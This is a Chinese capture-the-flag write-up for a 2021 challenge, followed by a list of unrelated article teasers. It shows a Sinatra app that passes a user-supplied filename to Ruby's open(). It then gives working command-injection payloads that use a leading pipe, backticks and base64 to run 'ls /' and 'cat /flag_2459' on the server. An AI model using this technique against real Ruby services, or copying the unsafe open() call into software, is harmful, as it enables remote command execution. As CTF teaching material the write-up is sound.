2021-第五空间智能安全大赛-PNG图片转换器 | 管道符与反引号的配合、open()函数绝杀

news/2024/7/5 8:19:45

目录

  • 一、原理
  • 二、操作过程


一、原理

1、base64 -d🍺
从标准输入中读取已经进行base64编码的内容,解码输出

2、管道符 |🍺
使用此管道符"|"可以将两个命令分隔开,"|"左边命令的输出就会作为"|"右边命令的输入,此命令可连续使用

3、反引号🍺

(1)、( ` )这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆
(2)、反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。

4、反引号还可以嵌套使用🍺
但需注意,嵌套使用时内层的反引号必须用反斜杠(\)将其转义,例如:

$ abc=`echo The num of users is \`who| nb -l\``
$ echo $abc

二、操作过程

🍺题目给了一个.rb文件,.rb文件格式是Ruby创建的程序源代码

require 'sinatra'
require 'digest'
require 'base64'

get '/' do
  open("./view/index.html", 'r').read()
end

get '/upload' do
  open("./view/upload.html", 'r').read()
end

post '/upload' do
  unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
    return "<script>alert('error');location.href='/upload';</script>"
  end
  begin
    filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
    open(filename, 'wb') { |f|
      f.write open(params[:file][:tempfile],'r').read()
    }
    "Upload success, file stored at #{filename}"
  rescue
    'something wrong'
  end

end

get '/convert' do
  open("./view/convert.html", 'r').read()
end

post '/convert' do
  begin
    unless params['file']
      return "<script>alert('error');location.href='/convert';</script>"
    end

    file = params['file']
    unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
      return "<script>alert('dont hack me');</script>"
    end
    res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
  rescue
    'something wrong'
  end
end

代码主要实现两个功能,分为uploadconvert两个页面,一个上传图片,一个转换图片

🍺分析代码,注意到convert功能代码调用了open()函数,尝试一下命令执行

首先随便选择个png图片上传,代码分析可以知道,返回的是加密的文件名

在这里插入图片描述
convert页面进行图片PNG转换,分析源码

res = open(file, 'r').read()
    headers 'Content-Type' => "text/html; charset=utf-8"
    "var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"

可以看到,在读取到文件后,将文件进行base64加密输出

🍺可以利用这一点,将我们将需要执行的代码写入到图片中,然后执行代码,访问图片后会以base64加密的形式输出我们想要的信息,同时,需要注意,输入参数时过滤了反斜杠和进行png后缀检测

这里我们利用管道符与反引号进行payload

ls /进行base64加密后为bHMgLw==,我们将bHMgLw==输入给管道符后面,进行base64解密,反引号执行完后,第一个管道符前面没有代码,直接执行后面代码,将ls /写入图片

file=| `echo bHMgLw== | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png

在这里插入图片描述
我们将ls /写入了图片中

🍺然后查看图片

在这里插入图片描述
可以看到,我们刚刚写入的代码执行了,以base64加密输出信息

🍺将得到的密文解密

在这里插入图片描述
可以看到,存在flag_2459文件

🍺然后查看该文件内容,需要将查看文件代码写入

cat /flag_2459进行base64加密后为Y2F0IC9mbGFnXzI0NTk=

file=| `echo Y2F0IC9mbGFnXzI0NTk= | base64 -d` > cd8494ce544176f7809fdd46d67d2009.png

在这里插入图片描述
🍺将代码写入图片中并访问执行

在这里插入图片描述
🍺又得到一串base64加密的密文,进行base64解密

在这里插入图片描述

得到Flag,结束!🍺
可到ctfhub上进行复盘


http://lihuaxi.xjx100.cn/news/31188.html

相关文章

Vmware部署Linux无人值守安装Centos7系统

&#x1f680; 优质资源分享 &#x1f680; 学习路线指引&#xff08;点击解锁&#xff09;知识定位人群定位&#x1f9e1; Python实战微信订餐小程序 &#x1f9e1;进阶级本课程是python flask微信小程序的完美结合&#xff0c;从项目搭建到腾讯云部署上线&#xff0c;打造一…

datart在windows的源码部署

datart在windows的源码部署IDEA克隆master分支编译Parser.jj安装javaCC插件编译项目创建mysql数据库修改后端配置启动后端启动前端登录页面参考这篇微博&#xff1a;【datart】数据可视化工具datart在IDEA中进行代码调试 IDEA克隆master分支 https://gitee.com/running-eleph…

数据结构day13

昨天写了一天transformer代码&#xff0c;就写了一题简单模拟题&#xff0c;今天打了球&#xff0c;也没补上&#xff0c;花费1.5h左右&#xff1b; 题目详情 - 1042 Shuffling Machine (pintia.cn) 思路&#xff1a;用两个数组储存&#xff0c;start装着一开始的0-53编号&am…

Web前端:如何评估前端开发人员

前端开发人员在弥合任何web或应用程序开发项目的技术和非技术方面的差距方面发挥着关键作用。它们建立在后端开发人员的工作基础上&#xff0c;创建我们在网站和应用程序上与之交互的面向用户的内容。 鉴于他们角色的双重性&#xff0c;他们的工作需要在功能和形式之间取得平衡…

Android 实现seekBar仿抖音拖动后改变thumb kotlin实现

Android 实现seekBar仿抖音拖动后改变thumb kotlin实现 又是一个没被甲方采用的方案哈哈哈 抖音的进度条默认状态下是半透明的灰色&#xff0c;thumb是一个同样的灰色的圆 点击、拖动后&#xff0c;progress变为白色&#xff0c;高度变高&#xff0c;thumb变为圆角矩形&#xf…

微服务 Spring Boot 整合Redis分布式锁 实现优惠卷秒杀 一人一单

文章目录⛅前言一、集群环境下 秒杀 一人一单的并发问题二、什么是分布式锁&#xff1f;⛄基本原理和实现方式⚡Redis 分布式锁的核心实现思路三、实战开发 实现 Redis 分布式锁四、ApiFox 测试 集群模式下是否能够解决并发问题⛵小结⛅前言 在微服务 Spring Boot 整合Redis 实…

基于java高校新生报道及宿舍分配平台计算机毕业设计源码+系统+lw文档+mysql数据库+调试部署

基于java高校新生报道及宿舍分配平台计算机毕业设计源码系统lw文档mysql数据库调试部署 基于java高校新生报道及宿舍分配平台计算机毕业设计源码系统lw文档mysql数据库调试部署本源码技术栈&#xff1a; 项目架构&#xff1a;B/S架构 开发语言&#xff1a;Java语言 开发软件…

Vmware16环境下NAT模式下CentOS7最小安装版, 设置静态IP 配置静态IP 固定IP

Vmware16环境下NAT模式下CentOS7最小安装版 设置固定静态IP 查看网关地址 默认网关可能不是1 , 比如可能是192.168.1.2 查看 VMware16的 NAT网络的 网关地址 点击打开菜单栏编辑按钮的下拉菜单 选虚拟网络编辑器 在弹出的窗口选 NAT模式的行, 使其变成蓝色 再点击 NAT设置…